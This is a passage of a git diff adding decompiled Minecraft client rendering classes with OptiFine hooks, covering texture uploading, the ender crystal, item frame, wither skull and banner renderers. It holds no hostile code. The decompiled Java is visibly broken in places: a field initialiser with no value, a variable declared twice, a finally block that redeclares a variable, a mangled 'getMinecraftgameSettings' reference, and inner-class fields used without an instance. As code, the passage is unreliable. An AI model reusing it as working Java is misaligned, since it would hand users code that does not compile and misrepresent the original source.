+  public static void func_180600_a(int p_180600_0_, int p_180600_1_, int p_180600_2_, int p_180600_3_)
+  {
+    Class monitor = TextureUtil.class;
+    
+    if (Reflector.SplashScreen.exists())
+    {
+      monitor = Reflector.SplashScreen.getTargetClass();
+    }
+    
+    synchronized (monitor)
+    {
+      deleteTexture(p_180600_0_);
+      bindTexture(p_180600_0_);
+    }
+    
+    if (p_180600_1_ >= 0)
+    {
+      GL11.glTexParameteri(3553, 33085, p_180600_1_);
+      GL11.glTexParameterf(3553, 33082, 0.0F);
+      GL11.glTexParameterf(3553, 33083, p_180600_1_);
+      GL11.glTexParameterf(3553, 34049, 0.0F);
+    }
+    
+    for (int var4 = 0; var4 <= p_180600_1_; var4++)
+    {
+      GL11.glTexImage2D(3553, var4, 6408, p_180600_2_ >> var4, p_180600_3_ >> var4, 0, 32993, 33639, null);
+    }
+  }
+  
+  public static int uploadTextureImageSub(int p_110995_0_, BufferedImage p_110995_1_, int p_110995_2_, int p_110995_3_, boolean p_110995_4_, boolean p_110995_5_)
+  {
+    bindTexture(p_110995_0_);
+    uploadTextureImageSubImpl(p_110995_1_, p_110995_2_, p_110995_3_, p_110995_4_, p_110995_5_);
+    return p_110995_0_;
+  }
+  
+  private static void uploadTextureImageSubImpl(BufferedImage p_110993_0_, int p_110993_1_, int p_110993_2_, boolean p_110993_3_, boolean p_110993_4_)
+  {
+    int var5 = p_110993_0_.getWidth();
+    int var6 = p_110993_0_.getHeight();
+    int var7 = 4194304 / var5;
+    int[] var8 = new int[var7 * var5];
+    setTextureBlurred(p_110993_3_);
+    setTextureClamped(p_110993_4_);
+    
+    for (int var9 = 0; var9 < var5 * var6; var9 += var5 * var7)
+    {
+      int var10 = var9 / var5;
+      int var11 = Math.min(var7, var6 - var10);
+      int var12 = var5 * var11;
+      p_110993_0_.getRGB(0, var10, var5, var11, var8, 0, var5);
+      copyToBuffer(var8, var12);
+      GL11.glTexSubImage2D(3553, 0, p_110993_1_, p_110993_2_ + var10, var5, var11, 32993, 33639, dataBuffer);
+    }
+  }
+  
+  public static void setTextureClamped(boolean p_110997_0_)
+  {
+    if (p_110997_0_)
+    {
+      GL11.glTexParameteri(3553, 10242, 33071);
+      GL11.glTexParameteri(3553, 10243, 33071);
+    }
+    else
+    {
+      GL11.glTexParameteri(3553, 10242, 10497);
+      GL11.glTexParameteri(3553, 10243, 10497);
+    }
+  }
+  
+  private static void setTextureBlurred(boolean p_147951_0_)
+  {
+    func_147954_b(p_147951_0_, false);
+  }
+  
+  public static void func_147954_b(boolean p_147954_0_, boolean p_147954_1_)
+  {
+    if (p_147954_0_)
+    {
+      GL11.glTexParameteri(3553, 10241, p_147954_1_ ? 9987 : 9729);
+      GL11.glTexParameteri(3553, 10240, 9729);
+    }
+    else
+    {
+      int mipmapType = Config.getMipmapType();
+      GL11.glTexParameteri(3553, 10241, p_147954_1_ ? mipmapType : 9728);
+      GL11.glTexParameteri(3553, 10240, 9728);
+    }
+  }
+  
+  private static void copyToBuffer(int[] p_110990_0_, int p_110990_1_)
+  {
+    copyToBufferPos(p_110990_0_, 0, p_110990_1_);
+  }
+  
+  private static void copyToBufferPos(int[] p_110994_0_, int p_110994_1_, int p_110994_2_)
+  {
+    int[] var3 = p_110994_0_;
+    
+    if (getMinecraftgameSettings.anaglyph)
+    {
+      var3 = updateAnaglyph(p_110994_0_);
+    }
+    
+    dataBuffer.clear();
+    dataBuffer.put(var3, p_110994_1_, p_110994_2_);
+    dataBuffer.position(0).limit(p_110994_2_);
+  }
+  
+  static void bindTexture(int p_94277_0_)
+  {
+    GlStateManager.func_179144_i(p_94277_0_);
+  }
+  
+  public static int[] readImageData(IResourceManager p_110986_0_, ResourceLocation p_110986_1_) throws IOException
+  {
+    BufferedImage var2 = func_177053_a(p_110986_0_.getResource(p_110986_1_).getInputStream());
+    
+    if (var2 == null)
+    {
+      return null;
+    }
+    
+
+    int var3 = var2.getWidth();
+    int var4 = var2.getHeight();
+    int[] var5 = new int[var3 * var4];
+    var2.getRGB(0, 0, var3, var4, var5, 0, var3);
+    return var5;
+  }
+  
+  public static BufferedImage func_177053_a(InputStream p_177053_0_)
+    throws IOException, IOException
+  {
+    if (p_177053_0_ == null)
+    {
+      return null;
+    }
+    
+
+    BufferedImage var1;
+    
+    try
+    {
+      var1 = ImageIO.read(p_177053_0_);
+    }
+    finally {
+      BufferedImage var1;
+      IOUtils.closeQuietly(p_177053_0_);
+    }
+    
+    return var1;
+  }
+  
+
+  public static int[] updateAnaglyph(int[] p_110985_0_)
+  {
+    int[] var1 = new int[p_110985_0_.length];
+    
+    for (int var2 = 0; var2 < p_110985_0_.length; var2++)
+    {
+      var1[var2] = func_177054_c(p_110985_0_[var2]);
+    }
+    
+    return var1;
+  }
+  
+  public static int func_177054_c(int p_177054_0_)
+  {
+    int var1 = p_177054_0_ >> 24 & 0xFF;
+    int var2 = p_177054_0_ >> 16 & 0xFF;
+    int var3 = p_177054_0_ >> 8 & 0xFF;
+    int var4 = p_177054_0_ & 0xFF;
+    int var5 = (var2 * 30 + var3 * 59 + var4 * 11) / 100;
+    int var6 = (var2 * 30 + var3 * 70) / 100;
+    int var7 = (var2 * 30 + var4 * 70) / 100;
+    return var1 << 24 | var5 << 16 | var6 << 8 | var7;
+  }
+  
+  public static void func_177055_a(String name, int textureId, int mipmapLevels, int width, int height)
+  {
+    bindTexture(textureId);
+    GL11.glPixelStorei(3333, 1);
+    GL11.glPixelStorei(3317, 1);
+    
+    for (int var5 = 0; var5 <= mipmapLevels; var5++)
+    {
+      File var6 = new File(name + "_" + var5 + ".png");
+      int var7 = width >> var5;
+      int var8 = height >> var5;
+      int var9 = var7 * var8;
+      IntBuffer var10 = BufferUtils.createIntBuffer(var9);
+      int[] var11 = new int[var9];
+      GL11.glGetTexImage(3553, var5, 32993, 33639, var10);
+      var10.get(var11);
+      BufferedImage var12 = new BufferedImage(var7, var8, 2);
+      var12.setRGB(0, 0, var7, var8, var11, 0, var7);
+      
+      try
+      {
+        ImageIO.write(var12, "png", var6);
+        logger.debug("Exported png to: {}", new Object[] { var6.getAbsolutePath() });
+      }
+      catch (Exception var14)
+      {
+        logger.debug("Unable to write: ", var14);
+      }
+    }
+  }
+  
+  public static void func_147953_a(int[] p_147953_0_, int p_147953_1_, int p_147953_2_)
+  {
+    int[] var3 = new int[p_147953_1_];
+    int var4 = p_147953_2_ / 2;
+    
+    for (int var5 = 0; var5 < var4; var5++)
+    {
+      System.arraycopy(p_147953_0_, var5 * p_147953_1_, var3, 0, p_147953_1_);
+      System.arraycopy(p_147953_0_, (p_147953_2_ - 1 - var5) * p_147953_1_, p_147953_0_, var5 * p_147953_1_, p_147953_1_);
+      System.arraycopy(var3, 0, p_147953_0_, (p_147953_2_ - 1 - var5) * p_147953_1_, p_147953_1_);
+    }
+  }
+  
+  static
+  {
+    int var0 = -16777216;
+    int var1 = -524040;
+    int[] var2 = { -524040, -524040, -524040, -524040, -524040, -524040, -524040, -524040 };
+    int[] var3 = { -16777216, -16777216, -16777216, -16777216, -16777216, -16777216, -16777216, -16777216 };
+    int var4 = var2.length;
+    
+    for (int var5 = 0; var5 < 16; var5++)
+    {
+      System.arraycopy(var5 < var4 ? var2 : var3, 0, missingTextureData, 16 * var5, var4);
+      System.arraycopy(var5 < var4 ? var3 : var2, 0, missingTextureData, 16 * var5 + var4, var4);
+    }
+    
+    missingTexture.updateDynamicTexture(); }
+  private static final int[] field_147957_g = new int[4];
+  private static final String __OBFID = "CL_00001067";
+  
+  public TextureUtil() {}
+}
diff --git a/src/minecraft/net/minecraft/client/renderer/tileentity/RenderEnderCrystal.java b/src/minecraft/net/minecraft/client/renderer/tileentity/RenderEnderCrystal.java
new file mode 100644
index 0000000..8c514b3
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/renderer/tileentity/RenderEnderCrystal.java
@@ -0,0 +1,67 @@
+package net.minecraft.client.renderer.tileentity;
+
+import net.minecraft.client.model.ModelBase;
+import net.minecraft.client.model.ModelEnderCrystal;
+import net.minecraft.client.renderer.GlStateManager;
+import net.minecraft.client.renderer.entity.Render;
+import net.minecraft.client.renderer.entity.RenderManager;
+import net.minecraft.entity.Entity;
+import net.minecraft.entity.item.EntityEnderCrystal;
+import net.minecraft.util.MathHelper;
+import net.minecraft.util.ResourceLocation;
+
+public class RenderEnderCrystal extends Render
+{
+  private static final ResourceLocation enderCrystalTextures = new ResourceLocation("textures/entity/endercrystal/endercrystal.png");
+  private ModelBase field_76995_b = new ModelEnderCrystal(0.0F, true);
+  private static final String __OBFID = "CL_00000987";
+  
+  public RenderEnderCrystal(RenderManager p_i46184_1_)
+  {
+    super(p_i46184_1_);
+    shadowSize = 0.5F;
+  }
+  
+
+
+
+
+
+
+  public void doRender(EntityEnderCrystal p_76986_1_, double p_76986_2_, double p_76986_4_, double p_76986_6_, float p_76986_8_, float p_76986_9_)
+  {
+    float var10 = innerRotation + p_76986_9_;
+    GlStateManager.pushMatrix();
+    GlStateManager.translate((float)p_76986_2_, (float)p_76986_4_, (float)p_76986_6_);
+    bindTexture(enderCrystalTextures);
+    float var11 = MathHelper.sin(var10 * 0.2F) / 2.0F + 0.5F;
+    var11 += var11 * var11;
+    field_76995_b.render(p_76986_1_, 0.0F, var10 * 3.0F, var11 * 0.2F, 0.0F, 0.0F, 0.0625F);
+    GlStateManager.popMatrix();
+    super.doRender(p_76986_1_, p_76986_2_, p_76986_4_, p_76986_6_, p_76986_8_, p_76986_9_);
+  }
+  
+  protected ResourceLocation func_180554_a(EntityEnderCrystal p_180554_1_)
+  {
+    return enderCrystalTextures;
+  }
+  
+
+
+
+  protected ResourceLocation getEntityTexture(Entity p_110775_1_)
+  {
+    return func_180554_a((EntityEnderCrystal)p_110775_1_);
+  }
+  
+
+
+
+
+
+
+  public void doRender(Entity p_76986_1_, double p_76986_2_, double p_76986_4_, double p_76986_6_, float p_76986_8_, float p_76986_9_)
+  {
+    doRender((EntityEnderCrystal)p_76986_1_, p_76986_2_, p_76986_4_, p_76986_6_, p_76986_8_, p_76986_9_);
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/renderer/tileentity/RenderItemFrame.java b/src/minecraft/net/minecraft/client/renderer/tileentity/RenderItemFrame.java
new file mode 100644
index 0000000..f9b2ed3
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/renderer/tileentity/RenderItemFrame.java
@@ -0,0 +1,277 @@
+package net.minecraft.client.renderer.tileentity;
+
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.gui.FontRenderer;
+import net.minecraft.client.renderer.BlockModelShapes;
+import net.minecraft.client.renderer.BlockRendererDispatcher;
+import net.minecraft.client.renderer.GlStateManager;
+import net.minecraft.client.renderer.RenderHelper;
+import net.minecraft.client.renderer.Tessellator;
+import net.minecraft.client.renderer.WorldRenderer;
+import net.minecraft.client.renderer.entity.Render;
+import net.minecraft.client.renderer.entity.RenderItem;
+import net.minecraft.client.renderer.entity.RenderManager;
+import net.minecraft.client.renderer.texture.TextureAtlasSprite;
+import net.minecraft.client.renderer.texture.TextureCompass;
+import net.minecraft.client.renderer.texture.TextureManager;
+import net.minecraft.client.renderer.texture.TextureMap;
+import net.minecraft.client.resources.model.IBakedModel;
+import net.minecraft.client.resources.model.ModelManager;
+import net.minecraft.client.resources.model.ModelResourceLocation;
+import net.minecraft.entity.Entity;
+import net.minecraft.entity.item.EntityItem;
+import net.minecraft.entity.item.EntityItemFrame;
+import net.minecraft.init.Items;
+import net.minecraft.item.Item;
+import net.minecraft.item.ItemMap;
+import net.minecraft.item.ItemStack;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.EnumFacing;
+import net.minecraft.util.MathHelper;
+import net.minecraft.util.ResourceLocation;
+import net.minecraft.world.storage.MapData;
+import optifine.Config;
+import optifine.Reflector;
+import org.lwjgl.opengl.GL11;
+
+public class RenderItemFrame extends Render
+{
+  private static final ResourceLocation mapBackgroundTextures = new ResourceLocation("textures/map/map_background.png");
+  private final Minecraft field_147917_g = Minecraft.getMinecraft();
+  private final ModelResourceLocation field_177072_f = new ModelResourceLocation("item_frame", "normal");
+  private final ModelResourceLocation field_177073_g = new ModelResourceLocation("item_frame", "map");
+  private RenderItem field_177074_h;
+  private static final String __OBFID = "CL_00001002";
+  
+  public RenderItemFrame(RenderManager p_i46166_1_, RenderItem p_i46166_2_)
+  {
+    super(p_i46166_1_);
+    field_177074_h = p_i46166_2_;
+  }
+  
+
+
+
+
+
+
+  public void doRender(EntityItemFrame p_76986_1_, double p_76986_2_, double p_76986_4_, double p_76986_6_, float p_76986_8_, float p_76986_9_)
+  {
+    GlStateManager.pushMatrix();
+    BlockPos var10 = p_76986_1_.func_174857_n();
+    double var11 = var10.getX() - posX + p_76986_2_;
+    double var13 = var10.getY() - posY + p_76986_4_;
+    double var15 = var10.getZ() - posZ + p_76986_6_;
+    GlStateManager.translate(var11 + 0.5D, var13 + 0.5D, var15 + 0.5D);
+    GlStateManager.rotate(180.0F - rotationYaw, 0.0F, 1.0F, 0.0F);
+    renderManager.renderEngine.bindTexture(TextureMap.locationBlocksTexture);
+    BlockRendererDispatcher var17 = field_147917_g.getBlockRendererDispatcher();
+    ModelManager var18 = var17.func_175023_a().func_178126_b();
+    IBakedModel var19;
+    IBakedModel var19;
+    if ((p_76986_1_.getDisplayedItem() != null) && (p_76986_1_.getDisplayedItem().getItem() == Items.filled_map))
+    {
+      var19 = var18.getModel(field_177073_g);
+    }
+    else
+    {
+      var19 = var18.getModel(field_177072_f);
+    }
+    
+    GlStateManager.pushMatrix();
+    GlStateManager.translate(-0.5F, -0.5F, -0.5F);
+    var17.func_175019_b().func_178262_a(var19, 1.0F, 1.0F, 1.0F, 1.0F);
+    GlStateManager.popMatrix();
+    GlStateManager.translate(0.0F, 0.0F, 0.4375F);
+    func_82402_b(p_76986_1_);
+    GlStateManager.popMatrix();
+    func_147914_a(p_76986_1_, p_76986_2_ + field_174860_b.getFrontOffsetX() * 0.3F, p_76986_4_ - 0.25D, p_76986_6_ + field_174860_b.getFrontOffsetZ() * 0.3F);
+  }
+  
+
+
+
+  protected ResourceLocation getEntityTexture(EntityItemFrame p_110775_1_)
+  {
+    return null;
+  }
+  
+  private void func_82402_b(EntityItemFrame p_82402_1_)
+  {
+    ItemStack var2 = p_82402_1_.getDisplayedItem();
+    
+    if (var2 != null)
+    {
+      EntityItem var3 = new EntityItem(worldObj, 0.0D, 0.0D, 0.0D, var2);
+      Item var4 = var3.getEntityItem().getItem();
+      getEntityItemstackSize = 1;
+      hoverStart = 0.0F;
+      GlStateManager.pushMatrix();
+      GlStateManager.disableLighting();
+      int var5 = p_82402_1_.getRotation();
+      
+      if ((var4 instanceof ItemMap))
+      {
+        var5 = var5 % 4 * 2;
+      }
+      
+      GlStateManager.rotate(var5 * 360.0F / 8.0F, 0.0F, 0.0F, 1.0F);
+      
+      if (!Reflector.postForgeBusEvent(Reflector.RenderItemInFrameEvent_Constructor, new Object[] { p_82402_1_, this }))
+      {
+        if ((var4 instanceof ItemMap))
+        {
+          renderManager.renderEngine.bindTexture(mapBackgroundTextures);
+          GlStateManager.rotate(180.0F, 0.0F, 0.0F, 1.0F);
+          float var12 = 0.0078125F;
+          GlStateManager.scale(var12, var12, var12);
+          GlStateManager.translate(-64.0F, -64.0F, 0.0F);
+          MapData var13 = Items.filled_map.getMapData(var3.getEntityItem(), worldObj);
+          GlStateManager.translate(0.0F, 0.0F, -1.0F);
+          
+          if (var13 != null)
+          {
+            field_147917_g.entityRenderer.getMapItemRenderer().func_148250_a(var13, true);
+          }
+        }
+        else
+        {
+          TextureAtlasSprite var121 = null;
+          
+          if (var4 == Items.compass)
+          {
+            var121 = field_147917_g.getTextureMapBlocks().getAtlasSprite(TextureCompass.field_176608_l);
+            
+            if (Config.isShaders())
+            {
+              shadersmod.client.ShadersTex.bindTextureMapForUpdateAndRender(field_147917_g.getTextureManager(), TextureMap.locationBlocksTexture);
+            }
+            else
+            {
+              field_147917_g.getTextureManager().bindTexture(TextureMap.locationBlocksTexture);
+            }
+            
+            if ((var121 instanceof TextureCompass))
+            {
+              TextureCompass var131 = (TextureCompass)var121;
+              double var8 = currentAngle;
+              double var10 = angleDelta;
+              currentAngle = 0.0D;
+              angleDelta = 0.0D;
+              var131.updateCompass(worldObj, posX, posZ, MathHelper.wrapAngleTo180_float(180 + field_174860_b.getHorizontalIndex() * 90), false, true);
+              currentAngle = var8;
+              angleDelta = var10;
+            }
+            else
+            {
+              var121 = null;
+            }
+          }
+          
+          GlStateManager.scale(0.5F, 0.5F, 0.5F);
+          
+          if ((!field_177074_h.func_175050_a(var3.getEntityItem())) || ((var4 instanceof net.minecraft.item.ItemSkull)))
+          {
+            GlStateManager.rotate(180.0F, 0.0F, 1.0F, 0.0F);
+          }
+          
+          GlStateManager.pushAttrib();
+          RenderHelper.enableStandardItemLighting();
+          field_177074_h.func_175043_b(var3.getEntityItem());
+          RenderHelper.disableStandardItemLighting();
+          GlStateManager.popAttrib();
+          
+          if ((var121 != null) && (var121.getFrameCount() > 0))
+          {
+            var121.updateAnimation();
+          }
+        }
+      }
+      GlStateManager.enableLighting();
+      GlStateManager.popMatrix();
+    }
+    
+    if (Config.isShaders())
+    {
+      shadersmod.client.ShadersTex.updatingTex = null;
+    }
+  }
+  
+  protected void func_147914_a(EntityItemFrame p_147914_1_, double p_147914_2_, double p_147914_4_, double p_147914_6_)
+  {
+    if ((Minecraft.isGuiEnabled()) && (p_147914_1_.getDisplayedItem() != null) && (p_147914_1_.getDisplayedItem().hasDisplayName()) && (renderManager.field_147941_i == p_147914_1_))
+    {
+      float var8 = 1.6F;
+      float var9 = 0.016666668F * var8;
+      double var10 = p_147914_1_.getDistanceSqToEntity(renderManager.livingPlayer);
+      float var12 = p_147914_1_.isSneaking() ? 32.0F : 64.0F;
+      
+      if (var10 < var12 * var12)
+      {
+        String var13 = p_147914_1_.getDisplayedItem().getDisplayName();
+        
+        if (p_147914_1_.isSneaking())
+        {
+          FontRenderer var14 = getFontRendererFromRenderManager();
+          GlStateManager.pushMatrix();
+          GlStateManager.translate((float)p_147914_2_ + 0.0F, (float)p_147914_4_ + height + 0.5F, (float)p_147914_6_);
+          GL11.glNormal3f(0.0F, 1.0F, 0.0F);
+          GlStateManager.rotate(-renderManager.playerViewY, 0.0F, 1.0F, 0.0F);
+          GlStateManager.rotate(renderManager.playerViewX, 1.0F, 0.0F, 0.0F);
+          GlStateManager.scale(-var9, -var9, var9);
+          GlStateManager.disableLighting();
+          GlStateManager.translate(0.0F, 0.25F / var9, 0.0F);
+          GlStateManager.depthMask(false);
+          GlStateManager.enableBlend();
+          GlStateManager.blendFunc(770, 771);
+          Tessellator var15 = Tessellator.getInstance();
+          WorldRenderer var16 = var15.getWorldRenderer();
+          GlStateManager.func_179090_x();
+          var16.startDrawingQuads();
+          int var17 = var14.getStringWidth(var13) / 2;
+          var16.func_178960_a(0.0F, 0.0F, 0.0F, 0.25F);
+          var16.addVertex(-var17 - 1, -1.0D, 0.0D);
+          var16.addVertex(-var17 - 1, 8.0D, 0.0D);
+          var16.addVertex(var17 + 1, 8.0D, 0.0D);
+          var16.addVertex(var17 + 1, -1.0D, 0.0D);
+          var15.draw();
+          GlStateManager.func_179098_w();
+          GlStateManager.depthMask(true);
+          var14.drawString(var13, -var14.getStringWidth(var13) / 2, 0, 553648127);
+          GlStateManager.enableLighting();
+          GlStateManager.disableBlend();
+          GlStateManager.color(1.0F, 1.0F, 1.0F, 1.0F);
+          GlStateManager.popMatrix();
+        }
+        else
+        {
+          renderLivingLabel(p_147914_1_, var13, p_147914_2_, p_147914_4_, p_147914_6_, 64);
+        }
+      }
+    }
+  }
+  
+
+
+
+  protected ResourceLocation getEntityTexture(Entity p_110775_1_)
+  {
+    return getEntityTexture((EntityItemFrame)p_110775_1_);
+  }
+  
+  protected void func_177067_a(Entity p_177067_1_, double p_177067_2_, double p_177067_4_, double p_177067_6_)
+  {
+    func_147914_a((EntityItemFrame)p_177067_1_, p_177067_2_, p_177067_4_, p_177067_6_);
+  }
+  
+
+
+
+
+
+
+  public void doRender(Entity p_76986_1_, double p_76986_2_, double p_76986_4_, double p_76986_6_, float p_76986_8_, float p_76986_9_)
+  {
+    doRender((EntityItemFrame)p_76986_1_, p_76986_2_, p_76986_4_, p_76986_6_, p_76986_8_, p_76986_9_);
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/renderer/tileentity/RenderWitherSkull.java b/src/minecraft/net/minecraft/client/renderer/tileentity/RenderWitherSkull.java
new file mode 100644
index 0000000..fb62e60
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/renderer/tileentity/RenderWitherSkull.java
@@ -0,0 +1,88 @@
+package net.minecraft.client.renderer.tileentity;
+
+import net.minecraft.client.model.ModelSkeletonHead;
+import net.minecraft.client.renderer.GlStateManager;
+import net.minecraft.client.renderer.entity.Render;
+import net.minecraft.client.renderer.entity.RenderManager;
+import net.minecraft.entity.Entity;
+import net.minecraft.entity.projectile.EntityWitherSkull;
+import net.minecraft.util.ResourceLocation;
+
+public class RenderWitherSkull extends Render
+{
+  private static final ResourceLocation invulnerableWitherTextures = new ResourceLocation("textures/entity/wither/wither_invulnerable.png");
+  private static final ResourceLocation witherTextures = new ResourceLocation("textures/entity/wither/wither.png");
+  
+
+  private final ModelSkeletonHead skeletonHeadModel = new ModelSkeletonHead();
+  private static final String __OBFID = "CL_00001035";
+  
+  public RenderWitherSkull(RenderManager p_i46129_1_)
+  {
+    super(p_i46129_1_);
+  }
+  
+
+
+  private float func_82400_a(float p_82400_1_, float p_82400_2_, float p_82400_3_)
+  {
+    for (float var4 = p_82400_2_ - p_82400_1_; var4 < -180.0F; var4 += 360.0F) {}
+    
+
+
+
+    while (var4 >= 180.0F)
+    {
+      var4 -= 360.0F;
+    }
+    
+    return p_82400_1_ + p_82400_3_ * var4;
+  }
+  
+
+
+
+
+
+
+  public void doRender(EntityWitherSkull p_76986_1_, double p_76986_2_, double p_76986_4_, double p_76986_6_, float p_76986_8_, float p_76986_9_)
+  {
+    GlStateManager.pushMatrix();
+    GlStateManager.disableCull();
+    float var10 = func_82400_a(prevRotationYaw, rotationYaw, p_76986_9_);
+    float var11 = prevRotationPitch + (rotationPitch - prevRotationPitch) * p_76986_9_;
+    GlStateManager.translate((float)p_76986_2_, (float)p_76986_4_, (float)p_76986_6_);
+    float var12 = 0.0625F;
+    GlStateManager.enableRescaleNormal();
+    GlStateManager.scale(-1.0F, -1.0F, 1.0F);
+    GlStateManager.enableAlpha();
+    bindEntityTexture(p_76986_1_);
+    skeletonHeadModel.render(p_76986_1_, 0.0F, 0.0F, 0.0F, var10, var11, var12);
+    GlStateManager.popMatrix();
+    super.doRender(p_76986_1_, p_76986_2_, p_76986_4_, p_76986_6_, p_76986_8_, p_76986_9_);
+  }
+  
+  protected ResourceLocation func_180564_a(EntityWitherSkull p_180564_1_)
+  {
+    return p_180564_1_.isInvulnerable() ? invulnerableWitherTextures : witherTextures;
+  }
+  
+
+
+
+  protected ResourceLocation getEntityTexture(Entity p_110775_1_)
+  {
+    return func_180564_a((EntityWitherSkull)p_110775_1_);
+  }
+  
+
+
+
+
+
+
+  public void doRender(Entity p_76986_1_, double p_76986_2_, double p_76986_4_, double p_76986_6_, float p_76986_8_, float p_76986_9_)
+  {
+    doRender((EntityWitherSkull)p_76986_1_, p_76986_2_, p_76986_4_, p_76986_6_, p_76986_8_, p_76986_9_);
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/renderer/tileentity/TileEntityBannerRenderer.java b/src/minecraft/net/minecraft/client/renderer/tileentity/TileEntityBannerRenderer.java
new file mode 100644
index 0000000..9b3a74e
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/renderer/tileentity/TileEntityBannerRenderer.java
@@ -0,0 +1,165 @@
+package net.minecraft.client.renderer.tileentity;
+
+import com.google.common.collect.Maps;
+import java.util.ArrayList;
+import java.util.Iterator;
+import java.util.List;
+import java.util.Map;
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.model.ModelBanner;
+import net.minecraft.client.renderer.GlStateManager;
+import net.minecraft.client.renderer.texture.LayeredColorMaskTexture;
+import net.minecraft.client.renderer.texture.TextureManager;
+import net.minecraft.tileentity.TileEntity;
+import net.minecraft.tileentity.TileEntityBanner;
+import net.minecraft.tileentity.TileEntityBanner.EnumBannerPattern;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.MathHelper;
+import net.minecraft.util.ResourceLocation;
+
+public class TileEntityBannerRenderer extends TileEntitySpecialRenderer
+{
+  private static final Map field_178466_c = ;
+  private static final ResourceLocation field_178464_d = new ResourceLocation("textures/entity/banner_base.png");
+  private ModelBanner field_178465_e = new ModelBanner();
+  private static final String __OBFID = "CL_00002473";
+  
+  public TileEntityBannerRenderer() {}
+  
+  public void func_180545_a(TileEntityBanner p_180545_1_, double p_180545_2_, double p_180545_4_, double p_180545_6_, float p_180545_8_, int p_180545_9_) { boolean var10 = p_180545_1_.getWorld() != null;
+    boolean var11 = (!var10) || (p_180545_1_.getBlockType() == net.minecraft.init.Blocks.standing_banner);
+    int var12 = var10 ? p_180545_1_.getBlockMetadata() : 0;
+    long var13 = var10 ? p_180545_1_.getWorld().getTotalWorldTime() : 0L;
+    GlStateManager.pushMatrix();
+    float var15 = 0.6666667F;
+    
+
+    if (var11)
+    {
+      GlStateManager.translate((float)p_180545_2_ + 0.5F, (float)p_180545_4_ + 0.75F * var15, (float)p_180545_6_ + 0.5F);
+      float var16 = var12 * 360 / 16.0F;
+      GlStateManager.rotate(-var16, 0.0F, 1.0F, 0.0F);
+      field_178465_e.bannerStand.showModel = true;
+    }
+    else
+    {
+      float var17 = 0.0F;
+      
+      if (var12 == 2)
+      {
+        var17 = 180.0F;
+      }
+      
+      if (var12 == 4)
+      {
+        var17 = 90.0F;
+      }
+      
+      if (var12 == 5)
+      {
+        var17 = -90.0F;
+      }
+      
+      GlStateManager.translate((float)p_180545_2_ + 0.5F, (float)p_180545_4_ - 0.25F * var15, (float)p_180545_6_ + 0.5F);
+      GlStateManager.rotate(-var17, 0.0F, 1.0F, 0.0F);
+      GlStateManager.translate(0.0F, -0.3125F, -0.4375F);
+      field_178465_e.bannerStand.showModel = false;
+    }
+    
+    BlockPos var19 = p_180545_1_.getPos();
+    float var17 = var19.getX() * 7 + var19.getY() * 9 + var19.getZ() * 13 + (float)var13 + p_180545_8_;
+    field_178465_e.bannerSlate.rotateAngleX = ((-0.0125F + 0.01F * MathHelper.cos(var17 * 3.1415927F * 0.02F)) * 3.1415927F);
+    GlStateManager.enableRescaleNormal();
+    ResourceLocation var18 = func_178463_a(p_180545_1_);
+    
+    if (var18 != null)
+    {
+      bindTexture(var18);
+      GlStateManager.pushMatrix();
+      GlStateManager.scale(var15, -var15, -var15);
+      field_178465_e.func_178687_a();
+      GlStateManager.popMatrix();
+    }
+    
+    GlStateManager.color(1.0F, 1.0F, 1.0F, 1.0F);
+    GlStateManager.popMatrix();
+  }
+  
+  private ResourceLocation func_178463_a(TileEntityBanner p_178463_1_)
+  {
+    String var2 = p_178463_1_.func_175116_e();
+    
+    if (var2.isEmpty())
+    {
+      return null;
+    }
+    
+
+    TimedBannerTexture var3 = (TimedBannerTexture)field_178466_c.get(var2);
+    
+    if (var3 == null)
+    {
+      if (field_178466_c.size() >= 256)
+      {
+        long var4 = System.currentTimeMillis();
+        Iterator var6 = field_178466_c.keySet().iterator();
+        
+        while (var6.hasNext())
+        {
+          String var7 = (String)var6.next();
+          TimedBannerTexture var8 = (TimedBannerTexture)field_178466_c.get(var7);
+          
+          if (var4 - field_178472_a > 60000L)
+          {
+            Minecraft.getMinecraft().getTextureManager().deleteTexture(field_178471_b);
+            var6.remove();
+          }
+        }
+        
+        if (field_178466_c.size() >= 256)
+        {
+          return null;
+        }
+      }
+      
+      List var9 = p_178463_1_.func_175114_c();
+      List var5 = p_178463_1_.func_175110_d();
+      ArrayList var10 = com.google.common.collect.Lists.newArrayList();
+      Iterator var11 = var9.iterator();
+      
+      while (var11.hasNext())
+      {
+        TileEntityBanner.EnumBannerPattern var12 = (TileEntityBanner.EnumBannerPattern)var11.next();
+        var10.add("textures/entity/banner/" + var12.func_177271_a() + ".png");
+      }
+      
+      var3 = new TimedBannerTexture(null);
+      field_178471_b = new ResourceLocation(var2);
+      Minecraft.getMinecraft().getTextureManager().loadTexture(field_178471_b, new LayeredColorMaskTexture(field_178464_d, var10, var5));
+      field_178466_c.put(var2, var3);
+    }
+    
+    field_178472_a = System.currentTimeMillis();
+    return field_178471_b;
+  }
+  
+
+  public void renderTileEntityAt(TileEntity p_180535_1_, double p_180535_2_, double p_180535_4_, double p_180535_6_, float p_180535_8_, int p_180535_9_)
+  {
+    func_180545_a((TileEntityBanner)p_180535_1_, p_180535_2_, p_180535_4_, p_180535_6_, p_180535_8_, p_180535_9_);
+  }
+  
+  static class TimedBannerTexture
+  {
+    public long field_178472_a;
+    public ResourceLocation field_178471_b;
+    private static final String __OBFID = "CL_00002471";
+    
+    private TimedBannerTexture() {}
+    
+    TimedBannerTexture(Object p_i46209_1_)
+    {
+      this();
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/renderer/tileentity/TileEntityBeaconRenderer.java b/src/minecraft/net/minecraft/client/renderer/tileentity/TileEntityBeaconRenderer.java
new file mode 100644
index 0000000..75e5462
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/renderer/tileentity/TileEntityBeaconRenderer.java
@@ -0,0 +1,123 @@
+package net.minecraft.client.renderer.tileentity;
+
+import java.util.List;
+import net.minecraft.client.renderer.GlStateManager;
+import net.minecraft.client.renderer.Tessellator;
+import net.minecraft.client.renderer.WorldRenderer;
